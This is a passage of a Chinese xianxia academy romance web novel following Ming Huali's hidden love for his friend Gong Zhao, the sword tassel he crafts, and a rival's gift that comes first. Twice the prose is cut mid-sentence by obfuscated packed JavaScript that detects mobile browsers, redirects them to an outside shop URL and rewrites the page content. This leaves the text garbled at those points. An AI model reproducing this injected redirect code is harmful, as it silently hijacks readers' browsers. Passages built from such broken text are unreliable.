“……没说。” 宫昭:“不过是心上人为躲避他,跑到那个地方去,于是望涯灵尊为了陪伴心上人,便也在那边定居罢了。” 余温雪最崇拜的前辈便是望涯灵尊,见宫昭肆意揣测诋毁,忍不住说:“荒谬!你怎可以如此诋毁前辈?” “这也叫诋毁吗?”宫昭一个劲跟他唱反调:“你有证据我在诋毁他吗?” 两个人你一言我一语在讲堂上争论了起来,宫昭估计是心情烦躁,又见余温雪背诵课文时,对望崖灵尊满是推崇之意,便故意和余温雪唱反调,无论余温雪说什么观点,他都要反驳和挑刺。 瑶光见此情形有意调停,但宫昭并不配合,还在一个劲的刺激余温雪。 实际上他刺激的不仅是余温雪,还有明华潋。 他听得出来,宫昭一开始语气还算是烦躁,到后来语调居然轻快起来。明显是在故意挑逗余温雪,在享受和余温雪争辩的过程。 他胸口闷得厉害,各种情绪在心中发酵,明明刚才一路上他绞尽脑汁安抚宫昭,却比不上现在当众两人吵的这一架。 他知道自己这样的情绪见不得光,就像雨天潮湿屋檐下的苔藓,日益滋生,不知不觉阴湿的苔藓爬满了他的心脏,随着两人的争辩愈演愈烈,他脑海中嗡嗡作响,慢慢忍无可忍,逐渐丧失了抑制情绪的能力。 他眨了眨干涩的眼睛,深吸一口气,放在桌上的手掌攥紧。 正当他要发作时,肩膀忽然被人敲了敲,江郁故似乎终于睡醒了,脸枕在臂弯里仰视他:“笔记呢?” “……” 冲动被打断,理智又重新站回了高地,他意识到自己刚才要做什么?在所有人都在看戏的情况下,他站起来把两人分开吗?到时候他的心意不仅藏不住,还会沦为整个学院的笑柄!这是他绝对不能接受的。 他为刚才自己冲动的行径感到幼稚和可笑。这个时候他又有点感谢江郁故,醒的真是时候。 想到昨天他答应江郁故的事,便把笔记递了过去。 江郁故伸手接过来,明华潋注意到那只手清癯修长,黛青色血管氤着溶溶冷光,小拇指第二个指节处佩戴一枚海陬石指环,黛兰色泽与那只手相得益彰。 他之前从未注意到这个指环,海陬石低调又华贵,在哪里都是有价无市的孤品。 也许江郁故家世比他想象的还要优渥。 4. 耳坠 碑林位于通往嵇云正殿的主道上,一座座石碑如噤言雕塑默然屹立。 其中最为恢弘庞大的是嵇云学院的校徽,而石碑则将校徽雕刻成了立体。整体肖似太阳圆盘,边缘八道芒宛如太阳耀眼的光辉。 但仔细看去,就会发现那玉龙塔、羲光琴、苦寒钺、射日弩、炼魂壶、北星鼎、思冥钟、八景剑对应着传说中的八大仙器,而下方坠着九朵铃兰图腾代表着创立嵇云学院的世家家族。 碑林的中心也是整个嵇云学院的中央。 一进入碑林的范围,仿佛风都静止了,周围也变得格外安静。 明华潋以为宫昭不会跟他一起受罚,但出乎意料的是,当天的课业结束后,宫昭并没有走,而是跟他一起来到碑林。 这真是这段时间唯一让他感到高兴的事,连受罚的沉重心情都变得愉快了。 石碑高耸屹立,周围散落着大小不一的灰岩石,有如朵朵平菇,明华潋拾起岩石上的经书,掸了掸上面的灰尘。事实上,他一点都不喜欢做这样麻烦的事,但和宫昭在一起,高兴的心情足够盖过一切。 直到他注意到宫昭随意将经文攥成一叠捏在手心。 他说:“不是这样的。” “怎么了?”宫昭顿了顿。 他举起经文示意:“这样整理起来就乱了,要按照序页的编号这样摞起来。” “真够麻烦的。” 宫昭心情烦躁,明华潋情绪却还不错。 宫昭皱眉:“也不知道晒经这种陋习为什么存在。” 一阵轻柔的晚风忽然拂过后背,带来飕飕凉意,明华潋内心咯噔一声,先辈们不会听到了吧? 他说:“可能是因为望涯灵尊喜欢晒经诵经,后来就作为习惯保留下来。” 弯腰又拾起一页经文,扭头去看宫昭,宫昭高大俊拔的背影被黄昏时分的光线拉长了,他们的影子在嶙峋的石碑间交织、分离,他近乎专注的记忆着此刻的画面和心情。 但愉悦没有维持多久,宫昭忽然疑窦地抬头,“有其他人在。” 明华潋不觉得碑林有其他人在有什么问题,毕竟石碑上镌刻着功法和师祖们留下的箴言,在风吹日晒下,虽难免被侵蚀得有些斑驳,但平日里也常有学生来此览阅参悟。 宫昭凝神辨别了下方向,扬了扬下巴:“这里。” 明华潋不想凑这个热闹,但宫昭似乎很感兴趣,他只得不情不愿地跟上。 一道瘦弱的背影背对他们蜷在晒经石下,天色渐暗,两人也能认出对方身上撷英院的校服,走近一看,明华潋发现居然是余温雪:“怎么了?为什么在这里哭?” 余温雪见到他们两人,也惊讶地睁大眼睛,又注意到明华潋手中整理好的经文,仓皇抹了抹泪站起来:“没什么,我刚才只是发现丢了东西,现在已经找到了,我,我自己就走了……” “慢着。” 宫昭挡住他。 余温雪警惕地瞪着他。 宫昭:“你丢了东西?” 余温雪点点头。 宫昭:“要是真的找到了,你就不会在这儿哭了。” 余温雪埋头没说话,看来是真的。 “你丢了什么东西?”宫昭好奇。 “耳坠……”余温雪看看掌心,本是一对的藏玉耳坠现在只剩下了一枚。 “我以为是什么呢?”宫昭嗤笑一声,“这有什么稀罕的,我再给你买十个,百个,你喜欢什么样的?灵蕴石还是雪绡石?” “我才不要你的东西!”余温雪平静地说:“那是母亲留给我的遗物,不是那些乱七八糟东西可以比拟的。” “……” 余温雪默默撇开了头,湿红的眼睛沉默地望着远处,睫毛微微颤抖,有种难得一见的脆弱,宫昭下意识伸出手,摸到了一滴温热的眼泪,然后是三滴,四滴…… 明华潋看着这一幕,宫昭在接触从余温雪眼角滑下来的泪珠后也陷入了沉默。 他清楚的记得,宫昭很早之前提到过,他的母亲也是在他小时候就去世了,虽然他没什么印象,但一直他也保留着母亲亲手绣的香囊。 不知是不是相似的记忆触动宫昭,他收敛了两分傲气,对余温雪说:“认主的东西别人也没办法捡走。反正我们要在这里收拾经文,顺便帮你找一找,肯定能找到。” 余温雪眼里划过一丝错愕,似乎没想到宫昭会说出这样的话。 “……谢谢。” 他小声道谢。 明华潋心情跌宕到了谷底,在后来整理经文的时候,他的脑海里总会回想刚才宫昭温柔安抚余温雪的表情,一帧一帧烙在他的脑海里。 藏经石上的经文他们整理了三个时辰,结束之后腰酸背疼,但之前就烦躁抱怨的宫昭,在找到遗失到耳环之后,却微微笑了。 这一天对于宫昭和余温雪来说是完美的一天,但对他来说,简直是糟糕透了。 * 明华潋发现一个很有意思的现象。 那就是一直做善事的人,一旦做了一件坏事就会被人诟病,指着脊梁骂,但一直做坏事的人做了一件善事,就会被人夸赞“浪子回头金不换”。 这句话放在宫昭身上尤为合适。 自从那天藏玉耳坠事情后,余温雪对宫昭的态度就软化了,对于他的接近不主动却也推开,两人维持着一种暧昧的关系。 会察言观色的不只是他,以严再樟和夏淳(就是膀大腰圆,特别看不起学习好的同学的家伙)为首的一群人也不再捉弄,调戏余温雪。 他们消停了,不敢生事端,撷英院的氛围居然短时间和平了起来。 如果换做平时这么安静,他肯定会觉得舒坦,毕竟安静的氛围对于他专心修炼学习都有益处。但现在安静是宫昭和余温雪的暧昧换来的,他无法抑制自己心情的憋闷。 拉开座位,他看了一眼后座,江郁故一如既往把脸埋在臂弯里睡觉。 这家伙总是这样,上课下课不是在睡觉,就是在打哈欠,也不知道他晚上都在忙什么?但他有时候还挺羡慕江郁故这样慵懒散漫,什么也不在乎什么的性子。 娄绣石翘着腿坐在桌子上:“哎,你们知道学院最近发生了一件什么事吗?” “什么事?”夏淳问。 “说起来你们也不信,还是我人脉广,打听到的。” 宫昭:“娄绣石,从你嘴巴里听个消息真难,成天故弄玄虚,直接说,成吗?” 明华潋注意到宫昭嗓门故意大咧咧的,引起坐在前排的余温雪回头看他们一眼,宫昭扯着嘴巴笑了笑。 明华潋缓慢移开目光,深吸一口气。 人本就该是自私的。 人如果不为自己打算,还为谁打算呢? 这是他一直信奉的处事之道。 眼看着宫昭和余文雪的感情渐渐升温,在走向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606464|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可控制的领域,他的心口依旧会酸涩发闷,却也不会做出任何出格和冲动的事。 宫昭的爱情是泥沼,淌下去不知道会发生什么样的事,而另一边则是一片坦荡的仙途,他只要稍微做点利益权衡就知道孰轻孰重。 他不会忘记自己在来嵇云学院之前过的是什么样的日子,好不容易迈上仙途,他可不会为了爱情的泥沼而浪费这么好的机会。 他一直很清楚自己究竟想要什么。 而且他也并不羡慕余温雪,和宫昭维持亲密关系的对象短则三个月,长远没有过半年,而他只需要在宫昭身边,身为他最亲近的朋友,静静看着这一切就够了。 严再樟尖利的声音把他走神的思考拉了回来:“什么?合欢宗派了二十几个弟子来我们学院听学?” 娄绣石:“没错,虽然住哪里还没打听到,但我敢打包票,绝对确有其事。” 一片哗然,合欢宗在修真界绝对是一个特殊的存在,他们的功法是交.媾,利用与炉鼎双修,达到“精、神、气”升华合一,提升自己的功力。然而双修之法毕竟冷僻,灵肉交.媾又为其增添了一丝旖旎色彩,因此在座的人表情都多了一丝暧昧。 宫昭起身去找余温雪说话去了,其他人仍聚在位置上讨论。 “……每隔三年学院会招收一批听学的例子,各个宗门都有,没想到这次是合欢宗。”说话的是平日里话特别少的曹弘。 严再樟转了转鼠眼,迫不及待地开口:“合欢宗心法你们懂的,你说他们是真的来研学的,还是……” “据说合欢心法讲究互利互惠,合欢宗弟子一个赛一个貌美,又能与美人云雨,又能提升修炼,倒是不错。”夏淳舔了舔嘴巴。 娄绣石:“可是据我所知,合欢宗也并不只有女子,还有男弟子。” 明华潋不动声色地观察周围人的表情,此话一出,有人表情平淡,有人则皱起眉头。 凡间对于情爱之事主张阴阳调和,同性性.事被认为是离经叛道,有违伦理纲常,但在人均长生的修真界,无论男与女,或男男,或女女,都可以结为道侣,风气开放得多,同性性.事并不至于遭人指指点点或被人苛责,但还是有那么一批人厌恶同性情事。 “怎么还有男弟子?我可接受不了男的,断袖之风也不知从哪里传起来的,”夏淳做了个粗鄙的手势。 有人反驳:“断袖倒也没那么不堪,即便是我们的师长前辈也有断袖。” 夏淳不以为然,恶劣道:“要我说,阴阳调和才是正道,断袖就是逆天而行,指不定天道哪天降下一道雷。” “……” 严再樟转移话题:“有没有人知道合欢宗住在哪儿?” “我不清楚。”娄绣石说。 夏淳:“听说那帮人来者不拒,说不准还盼着咱们找过去哩。” 恰在这时,江郁故被吵醒了,皱着脸抬起了头,手指不耐烦地把玩着一支墨笔。明华潋仔细瞧了瞧,才注意到那只墨笔是他之前压在江郁故那儿的,江郁故还没还给他。 他咳一声,正打算问江郁故把笔要回来。 “江……” 夏淳的大嗓门打断了他的话:“江郁故你怎么想啊?” 明华潋虽被截断了话语,却也好奇江郁故会作何回答,不动声色地瞥了过来。 江郁故懒洋洋道:“就算合欢宗对人来者不拒,什么时候对你也来之不拒了?” 5. 流苏 江郁故嘲笑般笑着。 夏淳反应了下,才意识到江郁故骂他不是人,脸霎时涨成了猪肝色。 “混账,江郁故你……” “诶诶,”严再樟连忙打圆场:“别较真,江郁故只是在跟你开玩笑。” “他哪里在开玩笑?”夏淳气不过,把严再樟推到一边:“江郁故,我哪里惹你了,你要这么下我面子?!” 明华潋是能敏锐察觉气氛的人,危机感让他不动声色地紧张起来,但他发现江郁故依旧是那副戏谑调侃的模样,似乎丝毫没察觉到夏淳在发怒。 “你说什么呢?”江郁故笑眯眯的:“你有那种东西?” “……”明华潋在维持紧张感的同时,又有点想笑。 夏淳气急败坏,却又似乎顾及着什么,娄绣石则在一旁看戏,严再樟拼命拉着他,眼看拉不动了,宫昭走了回来,漫不经心地问:“你们在吵什么?” 宫昭看的是明华潋,也许是因为他在这群人中更为公正。 明华潋想起夏淳刚才故意打断他的话,自然也没有想为他申冤的意思,便装作一副轻松的,为两人粉饰太平的样子:“没有什么,只是江郁故在和夏淳开玩笑呢。” 话音一落,江郁故的目光缓缓移到了他的脸上,他不知道江郁故为什么要看他,但江郁故却相当愉悦地笑了起来:“刚才夏淳说了一个很有意思的事。” “什么事?”宫昭也很有兴趣。 江郁故一字一句,故意把语调放得很缓:“说我下他面子,他还有面子这种东西吗?” 说着,他笑了起来。 宫昭也哈哈笑了,紧接着娄绣石也笑了,其他人也跟着嘻嘻哈哈的,氛围就这样重新变得轻松。刚才还暴怒的夏淳,腮边的肉微微颤动,想说什么最终也没有说出口。 明华潋知道他在想什么。 在这个氛围里,所有人都默认刚才只是一个玩笑,一个轻松的笑话。夏淳要是继续发脾气,就会显得自己特别较真,很玩不起,这恰恰是夏淳平时对付别人的方法,一旦有人开不起玩笑,他就会轻蔑的说对方玩不起。 现在这种憋屈的感觉轮到夏淳自己。 他用右手遮掩唇边的笑意。 娄绣石忽然发现了什么:“咦,宫哥,满风寂的流苏是不是掉了?” 满风寂是宫昭的本命剑,和大多数人都在用学院发的佩剑不同,宫昭很早就锻造了本命剑。据说由黑曜石淬以魂火历经三万余次捶打锻造而成。 凡认主的宝贝都有灵识,满风寂也是如此,其尺寸可随心意变幻,平日里被宫昭佩戴在腰间,剑体萦绕着流火絮风,如炎山狱境围绕的飘渺霞光。 而剑身末端之前坠着一枚流苏,现在却没了踪影。 宫昭目光下移,也发现了这点,皱起眉头,似乎回想到了某个场景:“可能是弄掉了。” 娄绣石:“可惜了,小玩意儿看着像是手工编织的,还怪好看的。” “嗯,可惜了。”宫昭也说。 明华潋轻咬唇瓣,事实上那根流苏是他送给宫昭的,当时宫昭本命剑刚铸好,他见剑穗空荡,便亲手编了一条流苏,但他对宫昭说是在街市上买的。 见流苏没了,他心情有些烦闷,但看宫昭也觉得可惜,内心的烦闷又好转了一些。 是的,流苏又不是宫昭故意弄掉的,而且宫昭也说了感觉可惜,反正刚刚学期开始,课业也不那么繁重,不如他再做一条,也不费多少功夫。宫昭佩戴他送的东西,会让他感到愉悦,好像他们之间的关系有一种微妙的亲近。 等到结束了一天的课程,明华潋收拾好东西,刚打算站起来,肩膀被人碰了碰。 是江郁故。 明华潋盘算着准备需要做流苏的东西,随口问:“有什么事?” “……”江郁故却看着他,没说话。 明华潋:“怎么了?” 等了好一会儿,直到等的不耐烦了,想直接出门的时候,才听到江郁故的低语:“你之前不是有话要跟我说?” “我不记得了。”明华潋敷衍了一句,匆匆往外走。 他满脑子盘算着流苏,其中绦绳只有在夜市上才能买得到,而嵇云学院每隔十日才有短暂的半天休沐,允许学生下山,今天就是休沐日,若是错过了今天的机会,就还要再等十日。 江郁故似乎还想说点什么,但他急着赶时间,装作没看见欲言又止的江郁故,直接离开了学堂。 * 离开学堂后,他召出佩剑,御剑来到了学院附近的一处集市。 路过一处名为林珺堂的牌匾,他停下了脚步,之前聊天的时候,他听娄绣石提到过这里贩卖各种仙材灵器,就是价格比较高昂。但毫无疑问林珺堂的品质是很有保证的,既然要送给宫昭,就不能送集市上那些大众化的低廉的东西,林珺堂就是一个很好的选择。 下定了决心,他深吸一口气走了进去。 一进门,便见五花八门的佩剑,佩剑按不同灵根锻造,譬如适合火灵根的佩剑通体烧灼烈焰,而木灵根佩剑则被枝蔓缠绕,剑身上开满朵朵花瓣。 这些灵剑各有千秋,各具特色,尤其是皎皎灵韵仙华暗藏,至少也是玄阶以上的法器,让人想要驻足细观。明华潋虽然不是剑修,但嵇云学院传授综合的课程,其中也有基础剑修课,他也对灵剑略懂一二,忍不住停下观赏。 这间林珺堂就开在嵇云学院门口,来的客人也多半是学院的学生,因此一见到明华潋身上撷英院的校服,店里的伙计便主动迎了上来:“贵客要买点什么?咱们这儿灵材法器应有尽有。” “这儿有适合做珠串的材料吗?”他问。 伙计连连点头:“有的有的,灵材都在二楼,请紧随我来。” 明华潋环顾店内环境,伙计边在前面带路,边闲聊般说道:“贵客可是嵇云学院撷英院弟子?” “嗯。” “那可真是了不得!”伙计激动地说道,语气中充满了崇拜和羡慕:“能进入嵇云学院的学生本就是万里挑一的人才。从淘沙院脱颖而出进入撷英院更是精英中的精英。” “是吗?”他淡淡地回。 比起有的人喜欢吹牛,对自己进入撷英院的过程大书特书,他更喜欢做出一副淡淡的样子。 分明自己也是花了一番苦功夫才进入撷英院,他偏喜欢装作很轻松写意的模样。 果不其然,伙计更觉得佩服:“要是咱们能进入进入嵇云学院已是祖上积德,荣显家声之举,万万不敢想能通过淘沙院考核。” “不必妄自菲薄,进入嵇云学院就代表人人都有机会,都是平等的。”他说着虚伪的话。 “据说考核又会淘汰十之八九的人,历经万般艰辛进入撷英院的都是兰桂腾芳,小店接待贵客都觉得荣幸非常!” 伙计坦诚又热烈的崇拜,让明华潋略微有一点不舒服,这种不舒服可能来自于他的感情是虚伪的,而伙计的感情是真诚的。 他挪开目光,注意到了锦匣里的一枚被灵气滋养的珠子:“这是繁萝枝结成的果子?” “贵客果然学识渊博!”伙计说:“这繁萝枝三十年开花,三十年结果,果熟蒂落,风干后做成手串、珠串,可宁神静气,温养身心,如果佩戴者体内不易察觉的暗伤,也能够缓慢调理。” 明华潋:“这倒是不错,你们这儿有与之相配的绦绳吗?” “有的。” 伙计到内室取来了几根绦绳,又注意到明华潋的佩剑是有剑穗的,猜到他可能是要送人,便说道:“繁萝枝珠颇为热销,无论是自用还是赠与他人都相当热门,现在本店也只剩下这一枚。” “这么紧俏?” 伙计说:“繁萝枝珠赠予他人则有希望对方道途顺遂,祝愿双方感情持久绵长的寓意,买来赠礼的客人也很多,早前刚卖出过一只。” 什么这个东西很热销,早前刚卖出过,这种话术是店家常用的话术,明华潋并没有当一回事,但这个寓意恰好动摇了他的内心,他没有过多犹豫:“那就这个了。” “贵客爽快,”伙计一边拿锦帛打包一边问:“一共是三千灵石,请问是一并结清吗?” 三千灵石! 这个价格对于明华潋来说有点过于昂贵了,虽然嵇云学院每个月都会发放月例,他也积极做贡献换取灵石,攒够三千灵石少说也要大半年。 但毕竟是要送给宫昭的礼物,还是值得的。 “一并结清吧。”他说。 “好嘞,”伙计乐呵呵道:“这边再送您一根玉凿子用来开孔,欢迎贵客再次光临。” * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606465|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从林珺阁离开后,明华潋御剑回了枕流居。 枕流居是学生宿舍,一片很大的范围,占据了大半个山头,撷英院条件比淘沙院好一些,宿舍是一人一间,布局就是一桌一椅一床。 明华潋分宿舍的时候运气还不错,分到了临湖的一间,推开窗户就能看见挽情湖。 他把锦帛袋打开,将东西一一取出摆放在桌面上。 他记得之前在书中看到过,繁萝枝珠风干后,体表水分消失,固如磐石,他把玉凿,锱刀,便于打孔的工具都放在手边,做好了长期战斗的准备。 他的想法也是正确的,时间不经意来到夜晚。远处的灯火悉数熄灭,皎皎月光落入挽情湖中,犹如十二月融融雪光坠入湖泊。 明华潋聚精会神地开凿,在视野陷入昏暗后,他头也未抬,随手一挥,烛台上的火光又重新燃了起来。 从亥时到寅时,他忙活得满头大汗,也只是在繁萝枝珠上留下了浅浅的口子。 虽然预想过开凿不会那么顺利,却也没想到会这么艰难漫长。 就这样,他白天要在讲堂上专心听课,晚上回到枕流居还得忙活手工,待到开凿成功,又将织编好的绦绳串上后,已是过了大半个月。 他本想直接送给宫昭,但宫昭这段时间经常不见人影,他也不想在学堂当着那么多人的面送,也想过送到宫昭的宿舍,但宫昭的宿舍经常有人聚在那里玩儿牌,人也不少,出于过于强烈的自尊,他不想让其他人知道那是他送的。 权衡后,他给宫昭塞了一张传音符:“下课来一下回廊。” 好不容易熬到下课,他率先来到回廊,风一吹,一树雪梨花摇落满地,好几片落在他的头上肩上。 他也顾不上去掸,只专注着眺望。内心暗自期待着宫昭看到礼物时的反应。 没过多久,宫昭也出现了。 正当他打算不慌不忙地走上前去,余温雪却忽然从宫昭身后追了过来。 他慌忙藏回树后。 他不想让任何人知道送东西,这会让他感觉羞耻,便打算等余温雪走了再出来。 只是余温雪为什么会出现在这里? 他看见余温雪递给宫昭一只锦匣,宫昭接过来:“这是什么?” “你打开看一看。”余温雪有点不好意思。 宫昭打开锦匣,里面静静躺着一只流光溢彩的玉佩,末端坠着枚繁萝枝珠。 宫昭挑起眉梢:“看起来挺好看的,送我的?” “嗯,”余温雪不好意思地低头:“你之前挂在剑上的那个不是找不到了吗?” “……” “不过你也别多想,是因为你是帮我找耳坠的时候爬上爬下才把东西弄掉了,所以我认为有义务送你一个。” “我好像什么都没说吧,你解释什么?” 余温雪脸颊浮起薄薄的红晕,看起来尤为好看。宫昭静静的看着他,抬手触了触他的脸蛋。 明华潋僵在原地,看到宫昭亲呢地凑到余温雪的耳边,说了句什么余温雪脸更红了。这一幕就像拿刀刺进他的眼睛里,让他的心瞬间坠到了谷底,他僵立在那里,甚至不知道什么时候两人已经走了。 刚才还满心的期待,此刻就像是滑稽的丑角,内心还有满腹的委屈,他蹲在地上,眼泪马上就要夺眶而出。只是差一点,差一点他就要成为先送的那一个。明明是他把宫昭约出来的,余温雪却捡了这个便宜,而宫昭也没拒绝,这更伤他的心。 然而就在眼泪即将滑落脸颊的时候,他忽然意识到这里不是枕流居,而是回廊,上课的学生随时都有可能经过这里,他用力捏着自己的手指,咬紧嘴唇,强迫自己冷静下来。 他从口袋里拿出自己打磨了很久的流苏,一股难以压抑的悲伤和愤怒涌上心头。 他把东西扔在地上,感觉自己的心意也随之被摔得支离破碎。 他不想再看到这个东西,这个东西再揣在他的口袋里,让他觉得心情很糟糕。 但这样扔在这里似乎也不行,有点太显眼了。 他犹豫了会儿,挖了个小坑,将流苏扔了进去,又把土埋上。 这才头也不回离开这里。 他走之后,一道人影出现在了树下,信手掸了掸肩上的梨花。 弯腰瞧了瞧树下的小土丘。 6. 合欢 明华潋拖着疲惫的身体回到枕流居,把桌面上的绦绳、玉凿一股脑扔掉后,他从百宝袋里拿出课本,重新坐在桌前。 但他完全看不进去,满脑子都是刚才看到的画面,胃里也在翻涌,也许悲伤到极点就有一种恶心的感觉,让人觉得反胃。 他的手指紧紧捏着书本,强迫自己把注意力集中在功课上,毕竟这段时间为了做手工,耽误了好几天的功课。 他应该把注意力重新拉回到功课上,他不能让那两个人影响自己的功课,这才是正确的…… 但悲伤的泪水还是从眼角滑落下来,一滴,两滴……落在纸页上,把单薄的纸页晕开一片片褶皱,他像是没看到泪水一样,还在继续翻着书。 如果人能够控制自己的内心就好了。 这是翌日踏进撷英院时,不断在他脑海中盘旋的话语。 刚走进院落,就听见娄绣石和夏淳一起高谈阔论的声音,这说明宫昭也已经到了。他脚步顿了顿,内心忽然萌生出一股犹豫。 恰在这时,他背后传来一道慵懒的声音:“怎么不进去?” 他回过头。 回廊下花落满地,江郁故抄着衣袖,仍旧是一副懒恹恹的模样,轻轻蹙眉,目不转睛望着他,也许是天色未明,深沉的瞳色像是化不开的稠墨,给人一种沉静又锐利的奇妙感。 “……” 正当他在想怎么回答的时候,江郁故走进了两步,突兀地问了一句:“你怎么了?” 他心脏忽然跳了一下,以为江郁故发现了他红肿的眼眶,但不应该呀,他早上特意早起,用碎冰冰敷了一个时辰呢。 他下意识抬起手,想摸摸眼睛,但抬到一半,就被江郁故伸手握住手腕。 由于完全没想到江郁故会这么做,他反应有点慢,愣愣看着那只修长的手指,带着冰凉的触感小心翼翼碰了碰他的指尖。 “你手指破了。”江郁故说。 他说:“好像是。” “你都没注意到吗?”江郁故不解。 他当然是知道的,毕竟那是他在做流苏的时候弄伤的,在完工后他迫不及待想送给宫昭就忽视了创口,而昨天又是内心太过悲伤,便完全忘记了这回事。 “……小伤口而已,没怎么在意。”他装作若无其事。那么羞耻的事情,他不想让任何人知道。 江郁故:“那么也不知道怎么破的?” “嗯。” “你对功课真是太用心了。”江郁故说。 明华潋总觉得他这句话有些意味深长,也可能是他想多了,一定是他想多了,昨天的事不会有任何人知道……他装作不经意抬头去看江郁故,但对方依旧是那副似笑非笑的表情,让他看不出任何情绪。 但毫无疑问,江郁故这句话让他觉得羞愧,他已经有半个月疏于功课,疏于修炼。不该是这样,无论如何他都不应该疏于功课,最后也没得到自己想要的结果,这或许就是报应。 江郁故的嗓音拉回了他的注意:“要让我帮你吗?” “帮我?” 江郁故慢悠悠道:“我,帮你舔。” 他以为听错了:“……舔?” “我的唾液能治愈它。”江郁故笑眯眯说。 他难以置信:“你在开玩笑吗?” 但明华潋手边确实没有疗伤膏,他自己不是木灵根不能施展治愈术,之前又在林珺堂花了一大笔灵石,现在囊中捉襟见肘,实在不想花额外灵石去药堂买药。 “你可以借我一点蕴玉膏吗?”他想了想:“这样我就不要你还我那支墨笔了。” “没有蕴玉膏,”江郁故眯着眼睛笑,指指唇角:“只有这个。” “……” “不信吗?” 明华潋还真不相信,他眼睁睁看着江郁故握着他的手靠近嘴唇,舌尖轻轻扫过他的伤口,略带凉意的触感让他后背发麻。等他反应过来的时候,迅速收回手,却发现手指上的小口子居然都愈合了。 他原本想说的话又被他重新咽了回去。 “怎么样?没骗你吧?”江郁故得意地笑。 “……” “不说谢谢吗?” “谢谢。” 他最终说。 * 不知道是不是江郁故打了岔,他的心情没那么悲伤了,居然全神贯注地度过了早上阴岚尊主的阵法课。 午休在云飨斋用膳时,宫昭忽然主动开口:“昨天什么情况?” 明华潋预想过宫昭会问他,其实心里做好了准备,内心的委屈却几乎快要溢出来,但他如此在意别人的想法,娄绣石和夏淳等人都在边上,他不愿意让难堪的情绪泄露出来。 他深吸一口气,捏紧调羹,努力保持镇定:“昨天怎么了?” 宫昭:“约我去回廊,自己却又没有来。” “我临时有事就没能过去。”他努力让语调保持自然。 “什么事?”宫昭皱皱眉头:“很重要吗?” “嗯,有点。”他借着嚼丸子含糊其辞。 宫昭安静了一会儿没有说话,随后又拿筷子根碰碰他的手背:“什么重要的事,让你也会放鸽子?” “就是……”明华潋随口道:“院长找我有事。” 就是他信口胡诌的,因为他知道如果不给一个答案,宫昭会一直问,而这个借口宫昭也没办法核实。 “他为难你了吗?”宫昭不愉道。 “没有的事,只是吩咐课业上的事情。”他说。 果然一听是课业上的事儿,宫昭就没有了兴趣,拧成一团的眉毛微微松开。 明华潋感觉肩膀微沉,宫昭将手臂搭在了他的肩上:“不过再重要的事,你也得先把我放前面吧,不然我会难过的。” 话语听起来竟然有几分委屈,但委屈的其实应该是他。 明华潋僵硬地捏着手里的调羹。 明明是他忙活了半个月,却做了无用功。在某一个瞬间,他甚至想开口说出昨天的事,但夏淳近在咫尺的大嗓门把他拉回了现实,让他瞬间冷静下来。 “知道了。”他用平常的语气说。 这时夏淳撇下娄绣石走过来:“你们在聊什么这么神神秘秘的?” 娄绣石嘲讽他:“别人都是正常聊天,你的嗓门才是太大了吧。” “屁,我嗓门正正好。”夏淳回敬一句,忽视明华潋,又扭头对宫昭说:“绣石打听到合欢宗住在美人榭,怎么样?要不要一起去逛逛?说不准还能和小美人云雨一番。” 宫昭手臂还搭在他肩膀上,哈哈嘲笑:“嗤,你们怎么总想着那档子事?” “怎么你就不好奇吗?”娄绣石也走过来,目光撇了一眼在远处安静用膳的余温雪:“还是怕余温雪对你有意见?” “余温雪为什么会有意见?”夏淳还没反应过来。 娄缕石没理他,狭长眼眸闪烁精明的光:“要我说,感情关系就讲究一个你进我退。有的人他就吃欲擒故纵那一套,不用追的太紧,吊他一吊,人自然就黏上来了。” “嗯。”宫昭认可一样点了点头,然后说:“那就去瞧瞧,最近也是,一点乐子都没有。” “好嘞。” 明华潋一直在走神,娄绣石说的话让他感到反胃,尤其是对于这种玩弄人心的手段。但他悲哀的想到,这或许也是位置占据上风的人才能如此游刃有余,而他庆幸自己并没有表白,这样就还没有彻头彻尾落在下风。 昨天晚上,他甚至都在思考如果他表露心迹,会有什么不同吗?或许他可以比余温雪先送礼物。他现在只是短短半天,他就在庆幸自己没有表白,昨晚他痛恨自己的爱是自私的,但现在他庆幸自己的爱是自私的。 明知不可为而为,是蠢人才会做的事,幸好他没有做。 嘴巴里含着玉髓羹,明明是该细细品味的灵食,但此刻却味同嚼蜡。 宫昭低头看他:“你也跟我们一起去吧。” 夏淳:“啊,带上他有什么意思,就知道做功课,除了功课之外他懂什么?别扫兴。” 明华潋本身就不想去,他对合欢宗不感兴趣,甚至对于宫昭去那里都非常排斥反感。夏淳觉得带上他会扫兴,他也不想去热脸贴冷屁股。 便假装若无其事:“我就算了,趁着午休还有功课要做。” “你看吧。”夏淳嗤笑。 他咬住唇瓣,明知道不该,但还是有几分希冀地看向宫昭,希望宫昭像拒绝苏晚晴一样拒绝,留下来陪他,但宫昭却直接起身了。 肩膀上的温度转眼离他而去。 他端庄地捏着调羹,装作毫不在意。 宫昭跟娄绣石往外走了两步,又停了下来,对他说:“等我回来,我还有话对你说。” 说完,才和娄绣石等人走了。 周围转眼空了下来,宫昭带走了一大波的人,明华潋郁郁寡欢地摆弄调羹,他怀着一丝期待,以为宫昭会留下陪他,但那只是他自我意识过剩,他对于宫昭来说是什么呢?和娄绣石一样的朋友?也许就是这样吧。 至于宫昭走之前说回来还有话要对他说,他内心确实有期待,但理性告诉他,也不用期待太多。 